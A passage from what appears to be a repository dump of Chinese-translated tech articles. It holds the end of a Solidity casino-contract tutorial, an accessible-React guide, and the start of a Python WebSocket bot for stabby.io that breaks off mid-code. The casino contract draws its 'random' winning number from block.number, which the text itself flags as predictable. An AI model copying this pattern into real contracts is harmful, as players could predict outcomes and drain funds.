Mortal 合约中（Mortal 继承自 Ownabe ）。 它有一个函数，允许合约所有者（访问控制）销毁合约并将剩余资金发回给他。\n\n你已经走到这一步了？你做的很好！我们的合约差不多准备好了。\n\n现在我们在**步骤3和步骤4**将创建 Casino 合约:\n\n首先我们需要 minBet 和 houseEdge，可以在创建合约时设置。通过将参数传递给构造函数 _Casino() 实现。我们将会使构造函数为 payable，这样我们就可以在部署时使用 Ether 预先加载合约。我们也会实现回退过程：\n\n```\ncontract Casino is Mortal{\n uint minBet;\n uint houseEdge; //in %\n//true+amount or false+0\nevent Won(bool _status, uint _amount);\nfunction Casino(uint _minBet, uint _houseEdge) payable public {\n require(_minBet > 0);\n require(_houseEdge <= 100);\n minBet = _minBet;\n houseEdge = _houseEdge;\n }\n \nfunction() public { //fallback\n revert();\n }\n}\n```\n\n这还不够，所以接下来我们将添加函数用于下注一个数字。此函数将生成一个随机数（此方式不安全！），然后计算并发送赢得的奖励。在你的回退函数下面加上如下部分:\n\n```\nfunction bet(uint _number) payable public {\n require(_number > 0 && _number <= 10);\n require(msg.value >= minBet);\n uint winningNumber = block.number % 10 + 1;\n if (_number == winningNumber) {\n   uint amountWon = msg.value * (100 — houseEdge)/10;\n   if(!msg.sender.send(amountWon)) revert();\n   Won(true, amountWon);\n } else {\n   Won(false, 0);\n }\n}\n```\n\n为了在 1 - 10 之间生成一个随机数，我们取当前区块编号，并取当前区块号的模量（除数余数）。这总是会产生 0-9 之间的一个数，所以我们加1，从而得到一个 1 - 10 之间的“随机”数字。\n\n例如:如果我们在新的匿名窗口中使用 javascript VM 在 remix 上部署合约，并在部署后调用 bet 函数，我们将总是得到 2 作为中奖号码。这是因为第一个块是 #1。1 的模是 1，加 1 等于 2。\n\n_** 请注意，这并不是真正随机的，因为很容易预测下一个区块号。更多地了解 solidity 的随机性，请查看_[_https:/ /www.youtube.com/watch?v=3wY5PRliphE_]_._(https://www.youtube.com/watch?v=3wY5PRliphE)\n\n为了计算赢取的奖金，我们只需计算一个乘数：\n\n```\nbet * (100 — houseEdge)/10 \n```\n\n如果庄家上风为 0，我们的乘数是 10；如果庄家上风是 10%，则乘数是 9。\n\n最后，我们将为所有者添加一个函数，以检查合约的余额，理想情况下，我们还希望为所有者添加一个提取函数，但我们现在就不做了。在你的 bet 函数下面添加以下几行:\n\n```\nfunction checkContractBalance() Owned public view returns(uint) {\n return this.balance;\n }\n```\n\n**伟大的工作!**合约现在已经准备好进行测试了!\n\n* * *\n\n### 在 remix 上测试我们的合约\n\n在 remix 的右上角单击 run 选项卡。确保将环境设置为 _Javascript VM_。在 value 字段中输入 _20_ 并从下拉列表中选择 _Ether_ 而不是 _Wei_ 。这将在部署时使用 20 Eth 预加载合约。下面，在 create 按钮旁边输入我们的构造器参数 _minBet_ 和 _houseEdge_  (比如，10000 wei 和 10% 的庄家上风)。\n\n做完它应该是这样的：\n\n![](https://cdn-images-1.medium.com/max/800/1*yMcvHe8mAc6q15LRI18I9A.png)\n\n在点击“创建”之前，它应该是这样的。\n\n现在单击 create 按钮，合约实例应该出现在屏幕的右下角。将会有四个函数可见，点击 _getContractBalance()_ 检查一切是否正常，应该返回 _20000000000000000000_，这是我们发送的 20 ether 转换成 wei 得到的。你也会在右上角的账户旁边看到你的余额，现在将略低于80 ether。\n\n![](https://cdn-images-1.medium.com/max/800/1*CGrKr3a02opXs6NUpj_JMg.png)\n\n点击“创建”合约后，余额应该是 20*1e18 wei。\n\n好了!一切运行正常。就像前面提到的，当使用 javascript VM 时，第一个块总是 1，所以第一个中奖号码总是 2。我们可以通过在 value 字段中输入 1 ether 来测试，并将 2 作为参数传递给 bet。\n\n当点击 bet 时，我们应该看到余额再次增加，在控制台点击详情，并滚动到“日志”。我们应该看到一个我们已经赢了的事件:\n\n![](https://cdn-images-1.medium.com/max/800/1*KKOA1FXEbTwYqxYUIosMqQ.png)\n\n我们赢了 9 以太币！\n\n好吧!我们的合约运行正常。在下一节中，我们将在 Ropsten 测试网络上部署我们的合约，并获取合约地址和 ABI ，以便在我们的客户端应用程序中使用。在那之前!\n\n**阅读** [**PART 2**](https://medium.com/@Alt_Street/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2-52248a74d58a) **!**\n\n如果您喜欢我们的教程，欢迎打赏，感谢您的阅读，如果您已经读到这里，请坚持下去！\n\nETH: 0x6d31cb338b5590adafec46462a1b095ebdc37d50\n\n完整的合约代码: [https://gist.github.com/anonymous/6b06bef626928589e3a53a70c021ec02](https://gist.github.com/anonymous/6b06bef626928589e3a53a70c021ec02)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/creating-accessible-react-apps.md",
    "content": "> * 原文地址：[Creating accessible React apps](http://simplyaccessible.com/article/react-a11y/)\n> * 原文作者：[Scott Vinkle](http://simplyaccessible.com/article/author/scott/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/creating-accessible-react-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/creating-accessible-react-apps.md)\n> * 译者：[llp0574](https://github.com/llp0574)\n> * 校对者：[smancang](https://github.com/smancang)，[zhaoyi0113](https://github.com/zhaoyi0113)\n\n# 创建无障碍 React 应用\n\n使用 React 库创建可复用的模块组件在项目之间共享是一个非常好的开发方式。但是应该如何确保你的 React 应用适用于所有人？Scott 将通过一个详细且及时的教程来带领我们创建无障碍的 React 应用。\n\n## 学习 React\n\n![](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-1.jpg)\n\n时间回到 2017 年 2 月，我从加拿大的金斯顿坐火车到多伦多。为什么我要经受这两小时的长途跋涉？就是为了去学习 [React](https://reactjs.org/) 库相关的内容。\n\n在为期一天的课程结束之后，我们各自开发了一个完整的应用程序。其中让我感到兴奋的一件事是 React 如何迫使你以模块化的方式来思考。每个组件会做一个任务，而且会完成得非常好。当以这种方式构建组件的时候，它可以帮助你把所有的想法和精力集中，确保你不仅在为当前项目，而且也在为将来的项目做正确的事情。React 组件都是可复用的，而且如果构造得当，还可以在不同的项目之间共享。只要找到合适的乐高积木，就可以把你需要的东西拼凑在一起，从而创造出绝佳的用户体验。\n\n然而，当我从旅途中回来的时候，我开始思考那几天我创建的应用是否无障碍。它是否可以做成无障碍应用？用我的笔记本电脑加载项目之后，我开始用我的键盘和 VoiceOver 屏幕阅读器来对其进行一些基本的检测。\n\n有一些微小、能快速修复的问题，比如在主页链接列表使用 `ul` + `li` 元素来替代当前的 `div` 元素。另外一个可以快速修复的地方：为带有装饰性图片的插图容器添加一个空的 `alt` 属性。\n\n但也有一些更具挑战性的问题要解决。随着每个新页面的加载，`title` 元素内容没有发生改变。不仅如此，键盘的焦点管理也非常糟糕，这就会让那些只使用键盘的用户无法使用这个应用。当一个新页面加载之后，焦点仍旧在前一个页面视图上！\n\n> 有没有什么技术可以用来解决这些更具挑战的无障碍问题？\n\n在花了一点时间阅读 [React 文档](https://reactjs.org/docs/hello-world.html)，并尝试了一些在课程当中习得的技术之后，我已经可以让这款应用更加无障碍了。在这篇文章里，我将带领大家研究一下最为紧迫的无障碍问题，以及如何解决它们，这些问题包括：\n\n* React 保留字；\n* 更新页面标题；\n* 管理键盘焦点；\n* 创建一个实时消息组件；\n* 代码分析，再加上一些关于创建无障碍 React 应用的想法。\n\n## Demo 应用\n\n如果你更偏向于看到代码最终运行成果的话，那么可以看一下伴随这篇文章的 React demo 应用：[TV-Db](https://simplyaccessible.github.io/tv-db/)。\n\n[![Screen capture of the TV-Db demo app on an iPad. Text in the middle of the screen reads, \"Search TV-Db for your favourite TV shows!\" A search form is below, along with a few quick links to TV show info pages.](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-ipad-1.png)](https://simplyaccessible.github.io/tv-db/)\n\n你也可以在阅读这篇文章的时候查看这个 [demo 应用的源码](https://github.com/simplyaccessible/tv-db)来紧跟进度。\n\n准备好让你的 React 应用对有障碍人士及所有类型的用户都可以使用吗？开始吧！\n\n## HTML 属性及保留字\n\n在 React 组件里些 HTML 的时候需要谨记的一点是 HTML 属性需要以驼峰式（`camelCase`）书写。这在一开始很让我吃惊，但我很快就习惯了。如果你最后不小心插入了一个全小写（`lowercase`）的属性，那就会在 JavaScript 控制台里得到一个友好的警告，让你将其调整为驼峰式。\n\n举个例子，`tabindex` 这个属性需要写成 `tabIndex`（注意到大写的 “I” 字母）。这个规则的例外情况是任何 `data-*` 或 `aria-*` 类型的属性仍旧保持原来的写法。\n\n还有一些[ JavaScript 保留字](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Reserved_keywords_as_of_ECMAScript_2015)，它们会匹配上一些特定的 HTML 属性名。这些属性就不能按照你所期望的方式来写：\n\n* `for` 在 JavaScript 里是用来遍历项目的保留字。当在 React 组件里创建 `label` 元素的时候，你必须使用 `htmlFor` 属性来替代 `for`，从而明确地设置 `label` 和 `input` 的关系。\n* `class` 也是 JavaScript 里的保留字。当需要在一个 HTML 元素上指派一个 `class` 属性来添加样式的时候，它必须替代写成 `className`。\n\n可能会有更多的属性需要注意，但目前为止当 JavaScript 保留字和 HTML 属性发生冲突的时候我只发现了这两个属性。你有遇到过任何其他的冲突吗？把它们写在评论里，我们就将发布一个后续文章来展示完整的列表。\n\n## 设置页面标题\n\n因为 React 应用都是[单页面应用（SPA）](https://simplyaccessible.com/article/spangular-accessibility/))，`title` 元素将在整个浏览过程中显示相同的内容，这并不理想。\n\n> 页面的 `title` 元素通常会是屏幕阅读器在页面加载的时候首先阅读的一块内容。\n\n标题反映出页面内容是很重要的，因为那些依赖内容并首先接触到它的人就会知道接下来该期待什么。\n\n在 React 应用里，`title` 元素的内容是在 `public/index.html` 文件里设置的，而且之后就不会再修改了。\n\n我们可以通过在父组件里动态设置 `title` 元素的内容从而来解决这个问题，或者在所需“页面”里，通过给全局的 `document.title` 属性赋值来解决它。我们设置标题的地方是在 React 的 `componentWillMount()` [生命周期方法](https://reactjs.org/docs/react-component.html#the-component-lifecycle)。这个方法是让你在页面加载的时候运行一些代码片段。\n\n举个例子，如果这是个“联系我们”的页面，上面有联系信息或者联系表单，我们就会像 `{[Home.js:23](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Home.js#L23)}` 这样调用 `componentWillMount()` 这个生命周期方法：\n\n```\ncomponentWillMount() {\n  document.title = ‘Contact us | Site Name';\n}\n```\n\n当这个组件“页面”加载时，可以看到浏览器选项卡上的标题更新到了 “Contact us | Site Name”。只需确保将上面代码加入所有页面组件里，就可以更新 `title` 元素了。\n\n## 焦点管理（第一部分）\n\n让我们来讨论一下焦点管理，这对于确保你的应用同时具备无障碍和成功的用户体验来说是一个很重要的因素。如果你的客户试图填满一个多“页面”表单，并且你没有对每个视图进行焦点管理，那么就很可能会导致用户的困扰，而且如果他们正在使用辅助技术，那么他们可能很难继续完成这个表单。你可能会为此完全失去他们成为客户的可能。\n\n为了在组件内的特定元素上设置键盘焦点，你需要创建一个叫 “function ref” 的东西，或者简称 `ref`。如果你只是刚开始学习 React 的话，你可以认为 `ref` 就像是使用 jQuery 来选择 DOM 上的 HTML 元素，并将其缓存在一个变量里，比如： \n\n```\nvar myBtn = $('#myBtn');\n```\n\n而创建 `ref` 时一个独特的地方是它可以命名为任何东西（希望是能对你及团队其他开发者来说有意义的东西），并且它不依赖 `id` 或 `class` 来作为选择器。\n\n举个例子，如果你有一个加载屏幕，那么将焦点发送到“加载”消息的容器以便屏幕阅读器读出当前应用的状态就会是理想的做法。在你的加载组件里，你可以创建一个 `ref` 指向加载容器 `{[Loader.js:29](https://github.com/simplyaccessible/tv-db/blob/master/src/components/Loader.js#L29)}`：\n\n```\n<div tabIndex=\"-1\" ref=\"{(loadingContainer) => {this.loadingContainer = loadingContainer}}\">\n    <p>Loading…</p>\n</div>\n```\n\n当这个组件渲染完成后，`function ref` 就会触发并通过创建一个新的类属性来创建这个元素的一个“引用”。在这个例子里，我们对 `div` 元素创建了一个叫 “loadingContainer” 的引用，并将其值通过 `this.loadingContainer = loadingContainer` 赋值语句传递给了一个新的类属性。\n\n当组件加载 {[Loader.js:12](https://github.com/simplyaccessible/tv-db/blob/master/src/components/Loader.js#L12)} 的时候，我们在 `componentDidMount()` 生命周期钩子函数里使用 `ref`，明确地给“加载”容器设置焦点 ：\n\n```\ncomponentDidMount() {\n    this.loadingContainer.focus();\n}\n```\n\n当加载组件从视图中移除的时候，你可以使用不同的 `ref` 来在任何地方转移焦点。\n\n管理焦点移动**到**一个元素，以及**从**一个元素转移到另一个元素，这是相当重要的，毫无夸大。在正确构建无障碍单页面应用的过程中，这是最大的挑战之一。\n\n## 实时消息\n\n在应用里使用实时消息来声明状态改变是一个很好方式。举个例子，当数据\b被添加到页面的时候，用某些辅助技术来通知用户是很有用的，比如屏幕阅读器，可以告诉用户发生了什么事情，以及现在有哪些项目是可用的。\n\n让我们通过创建一个新的组件来创建一个控制实时声明的方法。我们将把这个新组件叫做：`Announcements`。\n\n当这个组件被渲染的时候，`this.props.message` 的值将被注入到 `aria-live` 元素里，这在之后允许它被\b屏幕阅读器读出来。\n\n这个组件看上去\b是一个像 `{[Announcements.js:12](https://github.com/simplyaccessible/tv-db/blob/master/src/components/Announcements.js#L12)}` 的东西：\n\n```\nimport React from 'react';\n\nclass Announcements extends React.Component {\n    render() {\n        return (\n            <div className=\"visuallyhidden\" aria-live=\"polite\" aria-atomic=\"true\">\n                {this.props.message}\n            </div>\n        );\n    }\n}\n\nexport default Announcements;\n```\n\n这个组件简单地创建了一个 `div` 元素，并加上了一些无障碍相关的属性：`aria-live` 和 `aria-atomic`。屏幕阅读器将读取这些属性并为使用应用的用户大声朗读 `div` 里的任何文本内容\b使其听见。`aria-live` 属性真的非常强大，请明智地使用它。\n\n除此之外，一直在模板里渲染 `Announcement`\u001c 组件是很重要的，因为\b有些浏览器或屏幕阅读器技术在 `aria-live` 元素动态加载到 DOM 上的时候是不会朗读内容的。因此，在你的应用里，这个组件应该一直在任意父组件中引入。\n\n你应该像 `{[Results.js:91](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Results.js#L91)}` 一样引入 `Announcement` 组件：\n\n```\n<Announcements message={this.state.announcementMessage} />\n```\n\n为了传递消息给这些 Announcement 组件，在父组件里\b\b需要创建一个状态属性，用于存放消息文本 `{[Results.js:22](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Results.js#L22)}`：\n\n```\nthis.state = {\n    announcementMessage: null\n};\n```\n\n然后，在需要的时候更新状态，`{[Results.js:62](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Results.js#L62)}`：\n\n```\nthis.setState({announcementMessage: `Total results found: ${data.length}`});\n```\n\n## 焦点管理（第二部分）\n\n我们已经学习过关于用 `ref` 来管理焦点的内容，这是 React 里创建一个变量指向 DOM 元素的概念。现在，让我们来看一下另一种用同样概念实现的重要例子。\n\n当链接到应用另外的页面时，你可以使用 HTML 的 `a` 元素。这样做的话，就会如同预期那样，导致整个页面的重载。但是，如果你在\b应用里使用 [React Router](https://reacttraining.com/react-router/) 的话，你就可以使用 `Link` 组件了。`Link` 组件在 React 应用里实际上取代了久经考验的 `a` 元素。\n\n你会问，为什么你要用 `Link` 来替代**真正的** HTML 锚点链接？虽说在 React 组件里使用 HTML 链接是完全没问题的，但是使用 React Router \b的 `Link` 组件可以让你的应用充分利用 React 虚拟 DOM 的优势。使用 `Link` 组件帮助我们更快地加载“页面”，因为在点击 `Link` 的时候浏览器不需要\b刷新了，但它们也有所限制。\n\n> 当使用 `Link` 组件的时候，你需要搞清楚键盘焦点的位置，并知道当下个“页面\u001d”出现的时候焦点会去到哪里。\n\n这里是我们的朋友 `ref` 来帮忙的地方。\n\n### Link 组件\n\n一个典型的 Link 组件看上去像下面这样：\n\n```\n<Link to='/home'>Home</Link>\n```\n\n这个语法看起来应该很熟悉，因为它和 HTML 的 `a` 元素非常相像；把 `a` 换成 `Link`，把 `href` 换成 `to` 就可以了。\n\n如同我已经提到过的\b，使用 `Link` 组件替代 HTML 链接不会刷新浏览器。作为替代，React Router 会按照 `to` 属性描述的内容加载下个组件。\n\n让我们来看一下如何确保键盘焦点会移动到合适的位置。\n\n### 调整键盘焦点\n\n当一个新页面加载的时候，键盘焦点需要明确地设置。否则，焦点会仍然在前一个页面，那么当某用户开始浏览到下一页面的时候，谁会知道焦点在哪里结束呢？我们应该如何显示地设置焦点？又要找我们的老朋友 `ref` 了。\n\n#### 配置 ref\n\n要决定焦点的走向，你需要检查组件是如何配置的，以及使用了哪些小部件。举个例子，如果你有一个“页面”组件，由许多子组件组成剩下的页面内容，那么你可能需要将焦点移动到页面最外层的父元素，有可能是一个 `div` 元素。从这里开始，用户就可以浏览页面内容的其他内容，就像经历了一次浏览器的整体刷新。\b\n\n让我们来在最外层的父亲 `div` 上创建一个叫 `contentContainer` 的 `ref`\b，就像 `{[Details.js:84](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Details.js#L84)}`：\n\n```\n<div ref={(contentContainer) => { this.contentContainer = contentContainer; }} tabIndex=\"-1\" aria-labelledby=\"pageHeading\">\n```\n\n你可能已经注意到元素还包含 `tabIndex` 和 `aria-labelledby` 属性。通过 `ref` 的\b程序逻辑，`tabIndex` 设为 `-1` 将允许一般不可聚焦的 `div` 元素接受键盘焦点。\n\n> 提示：就像焦点管理，\b有意地使用 `tabIndex=\"-1\"` 并按照一个明确的计划来处理。\n\n`aria-labelledby` 属性值将程序化地关联页面的\b标题（也许是一个 id 为 “pageHeading” 的 `h1` 或 `h2` 元素），来帮助描述当前键盘焦点位置的上下文。\n\n既然我们创建了 `ref`，让我们来看看如何**真正地**使用它来转移焦点。\n\n#### 使用 ref\n\n之前我们学习了关于 `componentDidMount()` 的生命周期方法。当在 React 的虚拟 DOM 里加载页面时，我们可以再次使用它来转移键盘焦点，在 `{[Home.js:26](https://github.com/simplyaccessible/tv-db/blob/master/src/pages/Home.js#L26)}` 里使用我们之前在组件里创建的 `contentContainer` 和 `ref`：\n\n```\ncomponentDidMount() {\n    this.contentContainer.focus();\n}\n```\n\n上面的代码告诉 React：“在组件加载的时候，将键盘焦点转移到容器元素”。从这一点上，浏览会从页面的顶部开始，并且如果发生全页面刷新的话，内容就将是可以清楚看见的。\n\n## React 的无障碍性代码分析器\n\n写一篇关于 React 无障碍性的文章不得不提到那个难以置信的开源项目：[`eslint-plugin-jsx-a11y`](https://github.com/evcohen/eslint-plugin-jsx-a11y)。这是一个 [ESLint](https://eslint.org/) 插件，特别为 JSX 和 React 定制的，它会监视并报告你的代码里所有潜在的无障碍性问题。当你创建一个新的 React 项目时，它就会出现，所以你不需要担心任何设置问题。\n\n举个例子，如果你在组件里引入一张图片而没有添加 `alt` 属性，那么\b你就会在浏览器开发者工具控制台里看到：\n\n[![Screen capture of Chrome’s developer tools console. A warning message states, “img elements must have an alt prop, either with meaningful text, or an empty string for decorative images. (jsx-a11y/alt-text)”](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-console.png)](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-console.png)\n\n像这样的消息在开发应用的时候真的非常有用。即便如此，在代码编辑器看到这些类型的消息总比在浏览器看到更好一些吧？下面介绍如何在\b编码环境安装及配置 `eslint-plugin-jsx-a11y` 使用。\n\n### 安装 ESLint 插件\n\n首先你需要为编辑器安装 ESLint 插件。在编辑器的插件库里搜索 “eslint” - 就有机会在那里找到可用的插件\b来安装。\n\n下面是几个编辑器插件的快速链接：\n\n* [Atom](https://atom.io/packages/linter-eslint)\n* [Sublime Text](https://packagecontrol.io/packages/SublimeLinter-contrib-eslint)\n* [VS Code](https://marketplace.visualstudio.com/items?itemName=MadsKristensen.WebAnalyzer)\n\n### 安装 eslint-plugin-jsx-a11y\n\n下个步骤就是通过 `npm` 安装 `eslint-plugin-jsx-a11y`。只需运行以下命令即可安装它和 ESLint，并在编辑器里使用它：\n\n```\nnpm install eslint eslint-plugin-jsx-a11y --save-dev\n```\n\n在这个命令运行完后，\b更新项目里的 `.eslintrc` 文件，接着 ESLint 就可以使用这个 `eslint-plugin-jsx-a11y` 插件了。\n\n### 更新 ESLint 配置\n\n如果在项目的根目录里没有 `.eslintrc` 文件，可以轻易地以这个文件名创建一个新文件。查看[如何\b配置 `.eslintrc` 文件](https://eslint.org/docs/user-guide/configuring)，以及一些可以添加配置 ESLint 的[规则](https://eslint.org/docs/rules/)，以此满足项目的需求。\n\n在 `.eslintrc` 文件创建好之后，打开它进行编辑并在 “plugins” 部分添加下面的代码 {[.eslintrc:43](https://github.com/simplyaccessible/tv-db/blob/master/.eslintrc#L43)}：\n\n```\n\"plugins\": [\n    \"jsx-a11y\"\n]\n```\n\n这段代码告诉 ESLint 的本地实例在分析项目文件的时候使用 `jsx-a11y` 插件。\n\n为了让 ESLint 在代码里找到无障碍相关的特定错误，我们还需要指定 ESLint 使用的\b规则集。你可以配置自己的规则，但我推荐至少\b一开始使用默认的集合。\n\n把下面的代码添加到 `.eslintrc` 文件的 “extends” 部分 `{[.eslintrc:47](https://github.com/simplyaccessible/tv-db/blob/master/.eslintrc#L47)}`：\n\n```\n\"extends\": [\n    \"plugin:jsx-a11y/recommended\"\n]\n```\n\n这一行告诉 ESLint 使用默认推荐的规则集合，并且我发现非常好用。\n\n在完成这些编辑及重启编辑器之后，在出现无障碍相关问题的时候，你应该就可以看到一些类似下面截图的提示：\n\n[![Screen capture of Atom text editor. A warning message appears overtop of some code with the following message, “img elements must have an alt prop, either with meaningful text, or an empty string for decorative images. (jsx-a11y/alt-text)”](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-atom.png)](http://simplyaccessible.com/wordpress/wp-content/uploads/2017/10/creating-accessible-react-apps-atom.png)\n\n## 继续编写语义化 HTML\n\n在 [“Thinking in React” 帮助文档](https://reactjs.org/docs/thinking-in-react.html)里，鼓励读者去创建组件模块，或者组件驱动开发，编写\b小型、可复用的代码片段。这么做的好处是可以在不同项目之间复用代码。想象一下，在某个站点创建了一个无障碍部件，然后如果在另一个站点需要同样的部件，只需复制粘贴代码！\n\n从这里可以看出，你通过模块套模块创建出更大的组件来构建你的 UI，然后最终拼凑成一个“页面”。起初这可能会带来一些学习曲线，但不久你就会习惯以这种方式思考，并最终在编写 HTML 的时候享受这种分解过程。\n\n> 因为 React 的组件\b使用 [ES6 的类](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes)组成，所以继续编写良好、\b干净的语义化 HTML 取决于你自己（是否掌握 ES6）。 \n\n正如我们之前在文中提到的那样，有一些保留字需要注意，如 `htmlFor` 和 `className`，但除此之外，作为开发人员，你仍然有责任按照通常的方式编写和测试 HTML UI 界面。\n\n另外，还可以在适当的时候通过 JSX 在 HTML 里写入 JavaScript。这将大大有助于应用更具动态性和无障碍性。\n\n## 结论\n\n你现在已经完全有能力使 React 应用变得更加无障碍！\n你学到的知识有：\n\n* 更新页面 `title`，让用户在应用里保持方向感并明白每个视图内容的目的；\n* 管理键盘焦点，以便用户可以顺利地跟随动态内容变化，而不会迷失或迷惑刚刚发生了什么； \n* 创建一个实时消息组件，提醒用户任何重要的状态变化；\n* 以及，在项目里加入代码分析，以便你可以在工作的时候及时捕获无障碍性错误。\n\n也许与网页开发人员分享的最好的无障碍性提示就是：在做任何静态、CMS 或基于框架的网站时，在\b模板里[编写语义化 HTML](https://simplyaccessible.com/article/listening-web-part-two-semantics/)。在创建用户界面应该选择什么元素时，React 不会成为你的拦路虎。这完全取决于你自己，亲爱的开发者，\b确保你自己创建的内容尽可能对大部分用户来说是有用且无障碍的。\n\n你有没有发现过其他方式来创建更具无障碍性的 React 应用？我十分乐意在评论里听到它们！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/creating-an-html5-game-bot-using-python.md",
    "content": "> * 原文地址：[Creating An HTML5 Game Bot Using Python](https://vesche.github.io/articles/01-stabbybot.html)\n> * 原文作者：[vesche](https://vesche.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/creating-an-html5-game-bot-using-python.md](https://github.com/xitu/gold-miner/blob/master/TODO/creating-an-html5-game-bot-using-python.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[faintz](https://github.com/faintz), [vuuihc](https://github.com/vuuihc)\n\n# 用 Python 做一个 H5 游戏机器人\n\n**摘要：**我给游戏 [stabby.io](http://stabby.io/) 写了一个机器人（bot），源码请参考：[GitHub repo](https://github.com/vesche/stabbybot)。\n\n几周前，我在一个无聊的夜晚发现了一款游戏：[stabby.io](http://stabby.io/)。于是乎我的 IO 游戏瘾又犯了（曾经治好过）。在进入游戏后，你会被送进一个小地图中，场景里有许多和你角色长得一样的玩家，你可以杀死你身边的任何一个人。你周围的角色大多数都是电脑玩家，你需要设法弄清哪个才是人类玩家。我沉迷游戏无法自拔，愉快地玩了几个小时。\n\n![01-scrot](https://vesche.github.io/articles/media/01-scrot.png)\n\n正当我放纵一夜时，Eric S. Raymond 先生提醒我 [boredom and drudgery are evil](http://www.catb.org/~esr/faqs/hacker-howto.html#believe3)（无聊和单调都是罪恶）……我还记得 [LiveOverflow](http://www.liveoverflow.com/) 的一位老师在视频里冲我叫喊 [STOP WASTING YOUR TIME AND LEARN MORE HACKING!](https://www.youtube.com/watch?v=AMMOErxtahk)（多码代码少睡觉）。因此，我打算把我的无聊与单调转变成为一个有趣的编程项目，开始做一个为我玩 stabby 的 Python 机器人！\n\n在开始前，先介绍一下 stabby 超酷的开发者：soulfoam，他在自己的 [Twitch 频道](https://www.twitch.tv/soulfoamtv)直播编程与游戏开发。我得到了他的授权，允许我创建这个机器人并与大家分享。\n\n我最开始的想法是用 [autopy](http://www.autopy.org/) 捕获屏幕，并根据图像分析发送鼠标的移动（作者在此悼念了曾经做过的 Runescape 机器人）。但很快我就放弃这种方式，因为这个游戏有着更直接的交互方式 - [WebSockets](https://en.wikipedia.org/wiki/WebSocket)。由于 stabby 是一款多人实时 HTML5 游戏，因此它使用了 WebSockets 在客户端与服务器之间建立了长连接，双方都能随时发送数据。\n\n![01-websockets](https://vesche.github.io/articles/media/01-websockets.png)\n\n所以我们只需要关注客户端与服务器间的 WebSocket 通讯就行了。如果可以理解从服务器**接收**的消息以及之后**发送**给服务器的消息，那我们就能直接通过 WebSocket 通讯来玩游戏。现在开始玩 stabby 游戏，并打开 [Wireshark](https://www.wireshark.org/) 查看流量。\n\n![01-wireshark](https://vesche.github.io/articles/media/01-wireshark.png)\n\n**注意：**我对上面 stabby 的服务器 IP 进行了打码处理，避免它被攻击。为了避免脚本小子滥用这个机器人，我不会在 stabbybot 中提供这个 IP，你需要自行获取。\n\n接着说这美味的 WebSocket 数据包。在这儿看到了第一个表明我们正处于正确道路的标志！我在开始游戏时，将角色名设定为 `chain`，紧接着在发往服务器的第二个 WebSocket 包的数据部分看到了 `03chain`。游戏里的其他人就这样知道了我的名字！\n\n通过对抓包进一步的分析，我确定了在建立连接时客户端要发送给服务端的东西。下面是我们需要在 Python 中重新复现的内容：\n\n*   连接至 stabby 的 WebSocket 服务器\n*   发送当前游戏版本（000.0.4.3）\n*   WebSocket Ping/Pong\n*   发送我们的角色名\n*   监听服务器发来的消息\n\n我将使用 [websocket-client](https://pypi.python.org/pypi/websocket-client) 库来让 Python 连接 WebSocket 服务器。下面编写前文概述内容的代码：\n\n```python\n# main.py\n\nimport websocket\n\n# 创建一个 websocket 对象\nws = websocket.WebSocket()\n\n# 连接到 stabby.io 服务器\nws.connect('ws://%s:443' % server_ip, origin='http://stabby.io')\n\n# 向服务器发送当前游戏版本\nws.send('000.0.4.3')\n\n# force a websocket ping/pong\nws.pong('')\n\n# 发送用户名\nws.send('03%s' % 'stabbybot')\n\ntry:\n    while True:\n        # 监听服务器发送的消息\n        print(ws.recv())\nexcept KeyboardInterrupt:\n    